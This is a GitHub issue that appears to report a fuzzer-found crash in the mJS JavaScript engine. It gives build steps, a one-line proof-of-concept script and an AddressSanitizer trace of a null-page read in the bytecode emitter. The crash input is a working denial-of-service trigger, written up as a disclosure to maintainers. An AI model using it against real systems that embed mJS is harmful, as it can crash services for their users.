New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

Comments

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

(JSON.stringify([1, 2, 3]))(((print-6.32*(823))-6.32*21e2)(JSON.parse(JSON.stringify([(0)]))));J

​Execution steps & Output

$ ./mjs/build/mjs poc.js ASAN:DEADLYSIGNAL ================================================================= ==82386==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000e4 (pc 0x55a4aeab6fd4 bp 0x00000000008c sp 0x7ffc17a28520 T0) ==82386==The signal is caused by a READ memory access. ==82386==Hint: address points to the zero page. #0 0x55a4aeab6fd3 in add_lineno_map_item src/mjs_bcode.c:15 #1 0x55a4aeab6fd3 in emit_int src/mjs_bcode.c:47 #2 0x55a4aeb600dd in parse_comparison src/mjs_parser.c:431 #3 0x55a4aeb600dd in parse_equality src/mjs_parser.c:435 #4 0x55a4aeb65d0b in parse_bitwise_and src/mjs_parser.c:440 #5 0x55a4aeb65d0b in parse_bitwise_xor src/mjs_parser.c:445 #6 0x55a4aeb32177 in parse_bitwise_or src/mjs_parser.c:450 #7 0x55a4aeb32177 in parse_logical_and src/mjs_parser.c:455 #8 0x55a4aeb32177 in parse_logical_or src/mjs_parser.c:460 #9 0x55a4aeb32177 in parse_ternary src/mjs_parser.c:465 #10 0x55a4aeb32177 in parse_assignment src/mjs_parser.c:503 #11 0x55a4aeb388d7 in parse_expr src/mjs_parser.c:507 #12 0x55a4aeb388d7 in parse_statement src/mjs_parser.c:945

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/mjs_bcode.c:15 in add_lineno_map_item ==82386==ABORTING

Credits: Found by OWL337 team.

1 participant